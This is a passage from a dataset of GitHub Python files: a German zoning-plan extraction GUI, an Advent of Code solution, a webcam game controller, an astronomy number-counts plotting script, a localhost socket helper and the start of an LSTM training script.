if(\"MASS_DER_BAULICHEN_NUTZUNG\" in ents.ents[j].label_):\n if many_baugebiete == 1:\n for baugebiet in baugebiete:\n answer, score = get_answers(\"Welche \" + ents.ents[j].text + \" ist in dem \" + baugebiet + \" festgelegt ? \", text)\n if(score >= threshold):\n final.append([score, answer, ents.ents[j].text, baugebiet])\n elif many_baugebiete == 0:\n answer, score = get_answers(\"Welche \" + ents.ents[j].text + \" ist in dem \" + ents.ents[i].text + \" festgelegt ? \", text)\n if(score >= threshold):\n final.append([score, answer, ents.ents[j].text, ents.ents[i].text])\n many_baugebiete = 0\n baugebiete = []\n if(\"BAUWEISE\" in ents.ents[j].label_):\n if many_baugebiete == 1:\n for baugebiet in baugebiete:\n answer, score = get_answers(\"Ist die Bauweise offen, geschlossen oder abweichend im \" + baugebiet + \" ? \", text)\n if(score >= threshold):\n final.append([score, answer, ents.ents[j].text, baugebiet])\n elif many_baugebiete == 0:\n answer, score = get_answers(\"Ist die Bauweise offen, geschlossen oder abweichend im \" + ents.ents[i].text + \" ? \", text)\n if(score >= threshold):\n final.append([score, answer, ents.ents[j].text, ents.ents[i].text])\n many_baugebiete = 0\n baugebiete = []\n if(\"BAUGEBIETE\" in ents.ents[j].label_):\n break\n alle_baugebiete = list(dict.fromkeys(alle_baugebiete))\n return final, alle_baugebiete, len(alle_baugebiete), len(ents.ents)-len(alle_baugebiete)\ndef create_networkx_graph(naming_string, input_list):\n # Create a directed graph\n G = nx.DiGraph()\n\n # Add the main node\n G.add_node(naming_string)\n\n # Iterate over the input list and add the nodes and edges to the graph\n for item in input_list:\n weight, description, name, category = item\n \n # Build the edge attribute string\n edge_info = str(weight) + \", \" + description.strip()\n\n # Add the subnode (category) to the graph if it's not already there\n if not G.has_node(category):\n G.add_node(category)\n \n # Each subnode has a unique subsubnode which is the 'name' in current context\n subsubnode_name = f\"{name}\"\n\n # Add the edge from category to the subsubnode (name) along with its information\n G.add_edge(category, subsubnode_name, description=edge_info)\n\n # Connect main_node to category\n G.add_edge(naming_string, category)\n\n # we'll define the node lists as per the hierarchy in your graph with naming_string being the main node, \n # category acting as sub-nodes and subsubnodes as the last hierarchy in your graph.\n\n main_node = [n for n in G if G.in_degree(n)==0] # The main node has a in-degree of 0\n sub_nodes = [n for n in G if G.out_degree(n)!=0 and G.in_degree(n)!=0] # sub nodes have both in-degrees and out-degrees\n subsub_nodes = [n for n in G if G.out_degree(n)==0] # subsub nodes have a out-degree of 0\n\n # Prepare for drawing\n plt.figure(figsize=(15, 10))\n pos = nx.shell_layout(G, [main_node, sub_nodes, subsub_nodes]) # Notice how we're providing the node lists here \n\n # Draw the graph using nx.draw_networkx instead of nx.draw\n nx.draw_networkx(G, pos, with_labels=True)\n\n # Edge Descriptions\n edge_labels = nx.get_edge_attributes(G, 'description') # Get edge descriptions\n nx.draw_networkx_edge_labels(G, pos, edge_labels=edge_labels, font_size=6) # Draw edge descriptions\n\n # Show the plot\n plt.show()\n return G\n\nclass FileDragAndDrop(QLabel):\n def __init__(self):\n super().__init__()\n\n self.setAcceptDrops(True)\n self.setText('Drag & Drop your file here')\n self.slider_value = 0\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls():\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n file_path = event.mimeData().urls()[0].toLocalFile()\n self.setText('File path: ' + file_path)\n self.placeholder_function(file_path, self.slider_value)\n\n def placeholder_function(self, file_path, slider_value):\n filename = file_pdf_txt_conversion(file_path, \"bsp_txt_src\")\n with open(filename) as f:\n file = f.read()\n filename = filename.split(\"/\")[-1]\n file = file.replace('\\n', ' ')\n result, len_bau, len_ents = (get_results(file, slider_value))\n # Step 1: Create a dictionary with the highest confidence scores for each entity and construction area and standardize the entity\n dict_scores = {}\n for entry in result:\n try:\n entry[2] = normalize_entity(entry[2]).ents[0].label_\n except:\n pass\n if \"Stellplätze\" in entry[2] or \"Garagen\" in entry[2]:\n entry[2] = entry[2] + \" -> Voraussetzungen für den Bau von Stellplätzen/Gebäuden sind zu prüfen\"\n if \"einzelhandel\" in entry[2]:\n entry[2] = entry[2] + \" -> Sortiment und Verkaufsfläche sind zu prüfen\"\n score = entry[0]\n elements = (entry[2], entry[3])\n if elements in dict_scores:\n if score > dict_scores[elements]:\n dict_scores[elements] = score\n else:\n dict_scores[elements] = score\n\n # Step 2: Sort the confidence scores in descending order\n sorted_scores = sorted(dict_scores.values(), reverse=True)\n\n # Step 3: Create a new list with the entries corresponding to the highest confidence scores\n summarized = []\n for score in sorted_scores:\n for entry in result:\n if entry[0] == score and (entry[2], entry[3]) not in [x[2:4] for x in summarized]:\n summarized.append(entry)\n break\n\n # Step 4: Create a json file with the summarized results\n json_data = {}\n for item in result:\n if item[3] not in json_data:\n json_data[item[3]] = []\n if(\"zahl\" in item[2] or \"höhe\" in item[2] or \"BMZ\" in item[2] or \"GFZ\" in item[2] or \"GRZ\" in item[2]):\n json_data[item[3]].append({\"confidence_score\": item[0], \"Zulaessigkeit\": item[1], \"Maß der baulichen Nutzung\": item[2]})\n if(\"bauweise\" in item[2]):\n json_data[item[3]].append({\"confidence_score\": item[0], \"zulaessigkeit\": item[1], \"Bauweise\": item[2]})\n else:\n json_data[item[3]].append({\"confidence_score\": item[0], \"zulaessigkeit\": item[1], \"Art der baulichen Nutzung\": item[2]})\n with open(filename+'.json', 'w', encoding='utf-8') as outfile:\n json.dump(json_data, outfile, ensure_ascii=False)\n \n create_networkx_graph(filename, result)\n def set_slider_value(self, value):\n self.slider_value = value\n\nclass AppDemo(QWidget):\n def __init__(self):\n super().__init__()\n\n self.resize(400, 300)\n self.setWindowTitle('ML_Informationsextraktion')\n self.setStyleSheet(\"background-color: #333; color: #ddd;\") # Set background and text color\n\n mainLayout = QVBoxLayout()\n\n self.label = FileDragAndDrop()\n self.label.setStyleSheet(\"font-size: 20px;\") # Increase font size\n mainLayout.addWidget(self.label)\n\n self.slider = QSlider(Qt.Horizontal)\n self.slider.setMinimum(0)\n self.slider.setMaximum(100)\n self.slider.setStyleSheet(\"background-color: #555;\") # Change slider color\n self.slider.valueChanged.connect(self.slider_changed)\n mainLayout.addWidget(self.slider)\n\n self.slider_label = QLabel('Threshold: 0')\n self.slider_label.setStyleSheet(\"font-size: 16px;\") # Increase font size\n mainLayout.addWidget(self.slider_label)\n\n self.setLayout(mainLayout)\n\n def slider_changed(self, value):\n self.label.set_slider_value(value / 100)\n self.slider_label.setText('Threshold: ' + str(value / 100))\n\n\napp = QApplication(sys.argv)\ndemo = AppDemo()\ndemo.show()\nsys.exit(app.exec_())\n","repo_name":"Soreseth/Informationsextraktion","sub_path":"lokal_algo.py","file_name":"lokal_algo.py","file_ext":"py","file_size_in_byte":22315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21171864198","text":"\"\"\"Puzzle explanation: https://adventofcode.com/2015/day/13\"\"\"\n\nfrom itertools import permutations\nimport re\n\n\ndef main():\n people = parse(\"2015/day_13/input.txt\")\n part_1 = find_optimal_arrangement_of(people)\n part_2 = find_optimal_arrangement_of(people, True)\n print(\n \"The optimal seating arrangement without me\",\n f\"leads to a happiness level of: {part_1}\",\n )\n print(\n \"The optimal seating arrangement with me\",\n f\"leads to a happiness level of: {part_2}\",\n )\n\n\ndef parse(input_file):\n with open(input_file, encoding=\"utf-8\") as in_file:\n input_data = in_file.read()\n split_lines = input_data.split(\"\\n\")\n people = {}\n for line in split_lines:\n person, operator, change, neighbor = re.findall(\n r\"^\\S+|lose|gain|\\d+|\\S+(?=\\.)\", line\n )\n change = -int(change) if operator == \"lose\" else int(change)\n if person in people:\n people[person][neighbor] = change\n else:\n people[person] = {neighbor: change}\n return people\n\n\ndef find_optimal_arrangement_of(people, plus_one=False):\n if plus_one:\n arrangements = list(permutations(list(people), len(people)))\n arrangements = [[0] + list(arrangement) for arrangement in arrangements]\n else:\n first, *people_minus_1 = list(people)\n arrangements = list(permutations(people_minus_1, len(people_minus_1)))\n arrangements = [[first] + list(arrangement) for arrangement in arrangements]\n return max(find_happiness_of(arrangement, people) for arrangement in arrangements)\n\n\ndef find_happiness_of(arrangement, people):\n length = len(arrangement)\n happiness = 0\n for index, person in enumerate(arrangement):\n if not person:\n continue\n left = arrangement[(index - 1) % length]\n right = arrangement[(index + 1) % length]\n if not left:\n happiness += people[person][right]\n elif not right:\n happiness += people[person][left]\n else:\n happiness += people[person][left] + people[person][right]\n return happiness\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alecswift/advent-of-code","sub_path":"2015/day_13/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19155744068","text":"import numpy as np\r\nimport os\r\nimport pyvjoy\r\nimport cv2\r\nimport mediapipe as mp\r\nimport pyautogui\r\nimport pickle\r\n\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # Ignoring tensorflow loading warnings (CUDA)\r\nfrom tensorflow.keras import models\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '0' # IgnoringStop ignoring tensorflow loading warnings (CUDA)\r\n\r\nfrom HeavenlyBodeep.utils import mode_selection\r\nfrom HeavenlyBodeep.predict_player_position import compute_player_position\r\nfrom HeavenlyBodeep.predict_grab_status import compute_grab_status\r\nfrom HeavenlyBodeep.predict_angle_correction import compute_angle_correction\r\nfrom HeavenlyBodeep.deep_controller import update_vjoy\r\nfrom ImageProcessing.station_detection import station_polar_coordinates\r\nfrom ImageProcessing.chevron_detection import chevron_angle\r\nfrom AstroBot.agent import Agent\r\nfrom AstroBot.dummy_bot import dummy_decision\r\n\r\nmp_drawing = mp.solutions.drawing_utils\r\nmp_drawing_styles = mp.solutions.drawing_styles\r\nmp_holistic = mp.solutions.holistic\r\n\r\ncap = cv2.VideoCapture(0) # For webcam input:\r\nj = pyvjoy.VJoyDevice(1) # For VJoy output:\r\n\r\npath=os.path.join(os.path.dirname(os.path.dirname(__file__)),'x360ce.exe')\r\nos.startfile(path)\r\n\r\nmode_selection = mode_selection() # without camera correction, auto camera reset or camera correction prediction\r\n\r\nif mode_selection == 3: # predict angle correction mpde\r\n\r\n #importing model for angle correction:\r\n model_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),'model.h5')\r\n model = models.load_model(model_path)\r\n\r\n#AstroBot Inititalization\r\nastronaut=Agent()\r\nastrobot_isactive=False\r\nstation_distance_memory = 0\r\nstation_angle_memory = 0\r\ntoggle_angle_memory = 0\r\n\r\n# SIZE_theta_astro = 72 # angle discretized in 72 buckets of 5 degrees\r\n# SIZE_theta_station = 72 # angle discretized in 72 buckets of 5 degrees\r\n# theta_astro_range = [theta_astro*5*np.pi/180 for theta_astro in range(SIZE_theta_astro)]\r\n# theta_station_range = [theta_station*5*np.pi/180 for theta_station in range(SIZE_theta_station)]\r\n\r\n#TODO once pickle file available uncomment file below\r\n#start_q_table ='q_table_ep0.pickle' # None or Filename\r\n#start_q_table_path = os.path.join(os.path.dirname(__file__),'Q_tables',start_q_table)\r\n# with open(start_q_table_path, \"r+b\") as f:\r\n# q_table = pickle.load(f)\r\n\r\n\r\nwith mp_holistic.Holistic(\r\n min_detection_confidence=0.5,\r\n min_tracking_confidence=0.5) as holistic:\r\n while cap.isOpened():\r\n success, image = cap.read()\r\n if not success:\r\n print(\"Ignoring empty camera frame.\")\r\n continue # if loading a video, use 'break' instead of 'continue'\r\n\r\n # To improve performance, optionally mark the image as not writeable\r\n image.flags.writeable = False\r\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\r\n results = holistic.process(image)\r\n\r\n # Compute player position, grab status and update the controller accordingly\r\n player_position = compute_player_position(results, discard_not_found=False)\r\n grab_status = compute_grab_status(results)\r\n \r\n astrobot_isactive = player_position.get('astro_bot', False)\r\n\r\n if astrobot_isactive and mode_selection == 3:\r\n \r\n image_game = pyautogui.screenshot() #take screenshot\r\n\r\n #From screenshot get angle of astronaut\r\n angle_correction = compute_angle_correction(image_game, model)\r\n\r\n #From screenshot get station distance and angle\r\n astronaut.astronaut_station_distance, astronaut.astronaut_station_angle = station_polar_coordinates(image_game)\r\n if astronaut.astronaut_station_distance is not None:\r\n astrobot_isactive = astronaut.astronaut_station_distance > 300\r\n \r\n #From screenshot get chevron angle, if chevron angle not detected\r\n toggle_angle = chevron_angle(image_game)\r\n if toggle_angle:\r\n astronaut.chevron_angle = toggle_angle\r\n\r\n action=dummy_decision(astronaut.astronaut_station_distance,astronaut.astronaut_station_angle,astronaut.chevron_angle, angle_correction)\r\n astronaut.do_action(action,j,angle_correction)\r\n\r\n else:\r\n if mode_selection == 3: # predict angle correction mode\r\n image_game = pyautogui.screenshot()\r\n angle_correction = compute_angle_correction(image_game, model)\r\n else:\r\n angle_correction = 0 # do not compute angle correction\r\n\r\n if mode_selection == 2: # reset angle correction\r\n update_vjoy(j, player_position, grab_status, angle_correction, camera_auto_rotation=True)\r\n else:\r\n update_vjoy(j, player_position, grab_status, angle_correction, camera_auto_rotation=False)\r\n \r\n # Draw landmark annotation on the image.\r\n image.flags.writeable = True\r\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\r\n\r\n mp_drawing.draw_landmarks(\r\n image,\r\n results.pose_landmarks,\r\n mp_holistic.POSE_CONNECTIONS,\r\n landmark_drawing_spec=mp_drawing_styles\r\n .get_default_pose_landmarks_style())\r\n\r\n # Flip the image horizontally for a selfie-view display.\r\n cv2.imshow('MediaPipe Holistic', cv2.flip(image, 1))\r\n if cv2.waitKey(5) & 0xFF == 27:\r\n break\r\ncap.release()","repo_name":"sgo9/HeavenlyBodeep","sub_path":"HeavenlyBodeep/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5148,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"31370937230","text":"\"\"\"\n\nEstimate luminosity function in COSMOS from interferometric follow-up of\nMiettinen+ 2014, Younger+ 2007, and Younger+2009.\n\n\"\"\"\n\nimport numpy\nimport matplotlib.pyplot as plt\nfrom pylab import savefig\nfrom astropy.table import Table\nimport matplotlib\n\n\ndef MonteCarloCounts(fluxes, errors):\n\n hist890, bin_edges = numpy.histogram(fluxes)\n nbins = bin_edges.size - 1\n\n nsource = fluxes.size\n nsim = 1000\n obsPDF = numpy.zeros([nsource, nsim])\n for i in range(nsource):\n imean = fluxes[i]\n irms = errors[i]\n obsPDF[i, :] = numpy.random.normal(loc=imean, scale=irms, size=nsim)\n\n histPDF = numpy.zeros([nbins, nsim])\n\n for isim in range(nsim):\n\n hist, bedge = numpy.histogram(obsPDF[:, isim], bins=bin_edges)\n histPDF[:, isim] = hist\n\n histmean = numpy.mean(histPDF, axis=1)\n histrms = numpy.std(histPDF, axis=1)\n\n return histmean, histrms, bin_edges\n\nS_1100 = [10.7, 9.0, 7.6, 6.8, 7.6, 7.9, 8.3, 5.5, 5.8, 4.7, 4.7, 4.5, 4.4,\n 4.3, 4.3, 4.2]\nS_1100 = numpy.array(S_1100)\n\nS_890 = [15.6, 12.4, 8.7, 14.4, 9.3, 8.6, 12.0, 19.7, 9.0, 5.3, 14.4,\n 13.5, 8.2, 5.0, 3.9, 4.4]\ne_S_890 = [1.1, 1.0, 1.5, 1.9, 1.3, 1.3, 1.5, 1.8, 2.2, 1.0, 2.9, 1.8, 1.8,\n 1.0, 1.0, 1.0]\nS_890 = numpy.array(S_890)\ne_S_890 = numpy.array(e_S_890) * 1.2\n\nplt.clf()\nplt.plot(S_1100, S_890/S_1100, 'o')\n\n# This plot illustrates that the typical correction factor from total 1.1mm\n# flux density to total 890um flux density is ~1.5\n\nOskari1300 = [2.07, 2.15, 1.58, 1.53, 1.78, 1.04, 4.82, 5.72, 1.85, 3.37, 2.19,\n 1.27, 1.82, 0.99, 1.41, 1.79, 1.72, 2.85, 0.98, 0.90, 3.36, 2.38, 2.45,\n 9.01, 1.53]\ne_Oskari1300 = [0.62, 0.63, 0.43, 0.46, 0.54, 0.36, 1.33, 1.85, 0.49, 1.03,\n 0.83, 0.40, 0.59, 0.29, 0.42, 0.53, 0.53, 0.78, 0.36, 0.28, 0.97, 0.77,\n 0.67, 2.39, 0.45]\n\nOskari890 = numpy.array(Oskari1300) * 2.5\ne_Oskari890 = numpy.array(e_Oskari1300) * 2.5 * 1.5\n\ncosmos890 = numpy.append(S_890, Oskari890)\ne_cosmos890 = numpy.append(e_S_890, e_Oskari890)\n#cosmos890 = S_890\n#e_cosmos890 = e_S_890\n\ncompleteness = [0.28, 0.5, 0.8, 0.9, 0.99, 1.0, 1.0, 1.0, 1.0, 1.0]\n\n# AzTEC coverage in COSMOS is 0.15 deg^2, centered on z=0.7 overdensity\nMCresult = MonteCarloCounts(cosmos890, e_cosmos890)\nhist890mean = MCresult[0]\nhist890rms = MCresult[1]\nbin_edges = MCresult[2]\nbin_width = bin_edges[1] - bin_edges[0]\narea_aztec = 0.15\nnorm890 = hist890mean / area_aztec\ne_norm890 = hist890rms / area_aztec\nnbins = norm890.size\n\ncum890 = numpy.zeros(nbins)\nbin_centers = numpy.zeros(nbins)\nfor ibin in range(nbins):\n bin_centers[ibin] = (bin_edges[ibin] + bin_edges[ibin + 1]) / 2\n cum890[ibin] = norm890[ibin:].sum()\n\ndiff890 = norm890 / bin_width / completeness #/ bin_centers\ne_diff890 = e_norm890 / bin_width / completeness #/ bin_centers\n\n# Barger catalog\nbargerloc = '../Data/barger_catalog.txt'\nbargercat = Table.read(bargerloc, format='ascii')\nbargerfluxes = bargercat['S860']\ne_bargerfluxes = bargercat['e_S860'] * 1.2\n\nMCresult = MonteCarloCounts(bargerfluxes, e_bargerfluxes)\nbarger890mean = MCresult[0]\nbarger890rms = MCresult[1]\nbin_edges = MCresult[2]\nbin_width = bin_edges[1] - bin_edges[0]\narea_barger = 0.09\nbarger890 = barger890mean / area_barger\ne_barger890 = barger890rms / area_barger\n\ndiffbarger890 = barger890 / bin_width# / completeness #/ bin_centers\ne_diffbarger890 = e_barger890 / bin_width# / completeness #/ bin_centers\n\nnbins = barger890.size\ncum890 = numpy.zeros(nbins)\nbarger_bin_centers = numpy.zeros(nbins)\nfor ibin in range(nbins):\n barger_bin_centers[ibin] = (bin_edges[ibin] + bin_edges[ibin + 1]) / 2\n\n# Smolcic catalog\nsmolcicloc = '../Data/smolcic_catalog.txt'\nsmolciccat = Table.read(smolcicloc, format='ascii')\nsmolcicfluxes = smolciccat['S1300'] * 2.5\ne_smolcicfluxes = smolciccat['e_S1300'] * 2.5 * 1.5\n\nMCresult = MonteCarloCounts(smolcicfluxes, e_smolcicfluxes)\nsmolcic890mean = MCresult[0]\nsmolcic890rms = MCresult[1]\nbin_edges = MCresult[2]\nbin_width = bin_edges[1] - bin_edges[0]\narea_smolcic = 0.7 / 3.5\nsmolcic890 = smolcic890mean / area_smolcic\ne_smolcic890 = smolcic890rms / area_smolcic\n\ndiffsmolcic890 = smolcic890 / bin_width / completeness #/ bin_centers\ne_diffsmolcic890 = e_smolcic890 / bin_width / completeness #/ bin_centers\n\nnbins = smolcic890.size\ncum890 = numpy.zeros(nbins)\nsmolcic_bin_centers = numpy.zeros(nbins)\nfor ibin in range(nbins):\n smolcic_bin_centers[ibin] = (bin_edges[ibin] + bin_edges[ibin + 1]) / 2\n\n# ALESS number counts from Karim et al. 2013\nalesscounts = [52.3, 32.3, 24.9, 15.6, 1.6]#, 0.0, 0.0]\ne_alesscounts = [18.2, 13.6, 7.9, 12.2, 7.2]#, 0.0, 0.0]\nalessfluxes = [4.8, 5.9, 7.5, 8.8, 9.7]#, 11.0, 14.0]\n\n#shadescounts = [2506, 844, 362, 150, 68, 33, 15, 7.4, 3.9, 2.0]\nshadescounts = [831, 240, 106, 41, 17, 8.8, 3.9, 1.8, 1.0, 0.6]\nshadescounts = numpy.array(shadescounts)\nshadesfluxes = numpy.array([2.77, 4.87, 6.90, 8.93, 10.94, 12.95, 14.96, 16.96,\n 18.96, 20.97]) / 1.5\n\n# Aretxaga luminosity function\n\ntrue_centers = [1.41, 2.44, 3.44, 4.45, 5.45, 6.46, 7.46, 8.46, 9.46, 10.46,\n 11.46]\ntrue_centers = numpy.array(true_centers)\ntrue_edges = true_centers - 0.5\ntrue_edges = numpy.append(true_edges, true_centers[-1] + 0.5)\ntrue_diffaretxaga = [394, 269, 176, 99.5, 49.9, 22.3, 10.3, 5.83, 4.07, 2.94,\n 1.87]\ntrue_diffaretxaga = numpy.array(true_diffaretxaga)\n\naretxaga = Table.read('../Data/aretxagacatalog.fits')\naretxaga_S1100 = aretxaga['S1_1mm']\nhist_aretxaga, edge_aretxaga = numpy.histogram(aretxaga_S1100, bins=true_edges)\nnbins = hist_aretxaga.size\n\n#cum890 = numpy.zeros(nbins)\naretxaga_centers = numpy.zeros(nbins)\nfor ibin in range(nbins):\n aretxaga_centers[ibin] = (edge_aretxaga[ibin] + edge_aretxaga[ibin + 1]) / 2\n #cum890[ibin] = norm890[ibin:].sum()\n\narea_aretxaga = 0.71\nnormaretxaga = hist_aretxaga / area_aretxaga\naretxaga_completeness = [0.5, 0.85, 0.92, 0.95, 0.97, 0.98, 0.99, 1.0, 1.0,\n 1.0, 1.0]\naretxaga_completeness = numpy.array(aretxaga_completeness)\ndiffaretxaga = normaretxaga / aretxaga_completeness #/ aretxaga_centers\n\n# set font properties\nfont = {'family' : 'Arial',\n 'weight' : 'normal',\n 'size' : 12}\nmatplotlib.rc('font', **font)\nmatplotlib.rcParams['axes.linewidth'] = 1.5\n\nfig = plt.figure(figsize=(5.0, 4.5))\n\nplt.clf()\n\n# plot the intrinsic luminosity functions used to make predictions shown in\n# mag-flux.py\nSstar = 7.\nnstar = 424.\nalpha = 1.9\n\nSvector = numpy.arange(1e3)/10\ndndS1 = nstar / Sstar\ndndS2 = (Svector / Sstar) ** (-alpha)\ndndS3 = numpy.exp(-Svector / Sstar)\ndndS = dndS1 * dndS2 * dndS3\n\n#line1, = plt.plot(Svector, dndS, color='blue', label='Schechter')\n\nSstar = 8.\nNstar = 20.\nbeta1 = 2.0\nbeta2 = 6.9\ndndS1 = Nstar * (Svector / Sstar) ** (-beta1)\ndndS2 = Nstar * (Svector / Sstar) ** (-beta2)\ndndS = dndS1\nhigh = Svector > Sstar\ndndS[high] = dndS2[high]\n\n#line2 = plt.plot(Svector, dndS, color='black', lw=1.5, label='Karim+ 2013')\nline2 = plt.plot(Svector, dndS, color='magenta', lw=1.5, label='Karim+ 2013')\n\nSstar = 15.\nNstar = 5.\nbeta1 = 2.0\nbeta2 = 6.9\ndndS1 = Nstar * (Svector / Sstar) ** (-beta1)\ndndS2 = Nstar * (Svector / Sstar) ** (-beta2)\ndndS = dndS1\nhigh = Svector > Sstar\ndndS[high] = dndS2[high]\n\nline3, = plt.plot(Svector, dndS, color='blue', lw=1.5,\n label=r'PL, $S_\\star = 15\\,{\\rm mJy}$')\n\ndata1, = plt.plot(bin_centers, diff890, 'o', label='COSMOS', color='black')\nplt.errorbar(bin_centers, diff890, yerr=e_diff890, fmt='o',\n ecolor='gray', capsize=0, color='black')\ndata2, = plt.plot(alessfluxes, alesscounts, 'D', label='ALESS', color='pink')\nplt.errorbar(alessfluxes, alesscounts, yerr=e_alesscounts, fmt='D',\n ecolor='gray', capsize=0, color='pink')\n#data3, = plt.plot(barger_bin_centers, diffbarger890, 's', label='Barger',\n# color='orange')\n#plt.errorbar(barger_bin_centers, diffbarger890, yerr=e_diffbarger890, \n# fmt='s', ecolor='gray', capsize=0, color='orange')\n#data4, = plt.plot(smolcic_bin_centers, diffsmolcic890, 's', label='Smolcic',\n# color='orange')\n#plt.errorbar(smolcic_bin_centers, diffsmolcic890, yerr=e_diffsmolcic890, \n# fmt='s', ecolor='gray', capsize=0, color='orange')\n#plt.plot(shadesfluxes, shadescounts, 's', label='SHADES')\n#plt.hist(cosmos890, cumulative=-1)\n#plt.plot(aretxaga_centers, diffaretxaga, '+', label='Aretxaga+ 2011: Me')\n#plt.plot(true_centers, true_diffaretxaga, 'x', label='Aretxaga+ 2011: True')\n#plt.loglog()\nplt.yscale('log', nonposy='clip')\nplt.xscale('log', nonposy='clip')\n\nplt.minorticks_on()\nplt.tick_params(width=1.2, which='both')\nplt.tick_params(length=2, which='minor')\nplt.tick_params(length=4, which='major')\n\nplt.axis([01., 120, .001, 300])\nfirst_legend = plt.legend(loc='lower left', numpoints=1, handletextpad=0.35, \n borderpad=0.4, labelspacing=0.18, handlelength=1.0)\nleg = plt.gca().get_legend()\nltext = leg.get_texts()\n\n#ax = plt.gca().add_artist(first_legend)\n\n# Create another legend for the second line.\n#plt.legend(handles=[line2], loc=4)\n\n#plt.setp(ltext, fontsize='medium')\nplt.subplots_adjust(left=0.15, right=0.98, top=0.97, bottom=0.13, wspace=0.39)\n\nplt.ylabel(r'$dN/dS\\;{\\rm (mJy}^{-1} \\, {\\rm deg}^{-2})$', fontsize='large')\nplt.xlabel(r'$S_{870}\\;{\\rm (mJy)}$', fontsize='large')\nsavefig('../Figures/DifferentialNumberCounts.pdf')\nimport pdb; pdb.set_trace()\n","repo_name":"sbussmann/Bussmann2015","sub_path":"Code/cosmos_lumfunc.py","file_name":"cosmos_lumfunc.py","file_ext":"py","file_size_in_byte":9307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19215467448","text":"import socket\nimport sys\nfrom time import sleep\nimport random\n\nclass Communicator:\n addr_dict = {\"P1\": (\"localhost\", 10880), \n \"P2\": (\"localhost\", 10881), \n \"P3\": (\"localhost\", 10882),\n \"C\": (\"localhost\", 10883)}\n\n\n def __init__(self, _id) -> None:\n self.id = _id\n self.addr = Communicator.addr_dict.get(self.id)\n\n def send(self, receiver_id, data):\n sent = False\n while(not sent):\n try:\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.connect(Communicator.addr_dict.get(receiver_id))\n sock.sendall(data)\n sent = True\n except ConnectionRefusedError:\n pass\n sleep(0.2)\n\n\n def receive(self):\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind(self.addr)\n sock.listen()\n conn, addr = sock.accept()\n with conn:\n data = conn.recv(1024)\n return data\n\n def broadcast(self, data):\n for k, v in Communicator.addr_dict.items():\n if k != self.id:\n self.send(k, data)\n\n","repo_name":"pawar4/cs555","sub_path":"communicator.py","file_name":"communicator.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"87566184","text":"import pathlib\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport torch\nfrom torch.nn import MSELoss\nfrom torch.optim import Adam, LBFGS\nfrom torch.utils.data import DataLoader, default_collate\nfrom tqdm import tqdm\n\nfrom src.helpers.config import read_config, Config\nfrom src.helpers.dataset import TimeSeriesDataset\nfrom src.helpers.path import DATA_PATH, ROOT_PATH\nfrom src.helpers.plotting import plot_loss_data, plot_validation_prediction\nfrom src.lstm import LSTM\nfrom src.preprocessing import Preprocesser, split_data, pd_to_tensor\n\n# device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\ndevice = torch.device(\"cpu\")\n\ndef _train_epoch(model, dataloader, optimizer, loss_fn):\n for inputs, targets in dataloader:\n # if LBFGS\n def closure():\n optimizer.zero_grad()\n output = model(inputs)\n loss = loss_fn(output, targets)\n loss.backward()\n return loss\n optimizer.step(closure)\n\n # if ADAM\n # optimizer.zero_grad()\n # output = model(inputs)\n # loss = loss_fn(output, targets)\n # loss.backward()\n # optimizer.step()\n\n\ndef _get_validation_loss(model, dataloader, loss_fn):\n losses = []\n with torch.no_grad():\n for val_input, val_target in dataloader:\n val_output = model(val_input)\n loss = loss_fn(val_output, val_target)\n\n losses.append(loss)\n \n return sum(losses) / len(losses)\n\n\ndef _save_losses(losses, path):\n str_losses = \"\\n\".join([str(loss.item()) for loss in losses])\n with open(path, \"w\") as file:\n file.write(str_losses)\n\n\ndef train_model(config: Config,\n base_save_path: pathlib.Path = ROOT_PATH / \"training\"):\n base_save_path = pathlib.Path(base_save_path)\n\n # Setup model\n input_size = (\n 8 # Standard, from the actual input data\n + (2 if config.data.time_of_day else 0) # time_of_day has two cols\n + (2 if config.data.time_of_week else 0) # time_of_week has two cols\n + (2 if config.data.time_of_year else 0) # time_of_year has two cols\n + (1 if config.data.last_day_y else 0) # last_day_y has one col\n + (1 if config.data.two_last_day_y else 0) # two_last_day_y has one col\n )\n model = LSTM(\n input_size = input_size,\n lstm_depth=config.model.lstm_depth,\n hidden_layers=config.model.hidden_layers,\n dropout=config.model.dropout\n )\n model.to(device)\n \n # Setup optimizer and loss function\n optimizer = LBFGS(model.parameters(), lr=config.training.learning_rate)\n # optimizer = Adam(model.parameters(), lr=config.training.learning_rate)\n loss_fn = MSELoss(reduction=\"mean\")\n\n # Load data\n data = pd.read_csv(DATA_PATH / \"train.csv\", parse_dates=[\"start_time\"])\n validation_data = pd.read_csv(DATA_PATH / \"validation.csv\", parse_dates=[\"start_time\"])\n\n # Fit preprocesser to train data, and transform test data\n preprocesser = Preprocesser(\n time_of_day=config.data.time_of_day,\n time_of_week=config.data.time_of_week,\n time_of_year=config.data.time_of_year,\n last_day_y=config.data.last_day_y,\n two_last_day_y=config.data.two_last_day_y,\n randomize_last_y=config.data.randomize_last_y,\n task_2_window=config.data.task_2_window\n )\n processed = preprocesser.fit_transform(data)\n validation_processed = preprocesser.transform(validation_data)\n\n # Split train data, convert to tensors\n 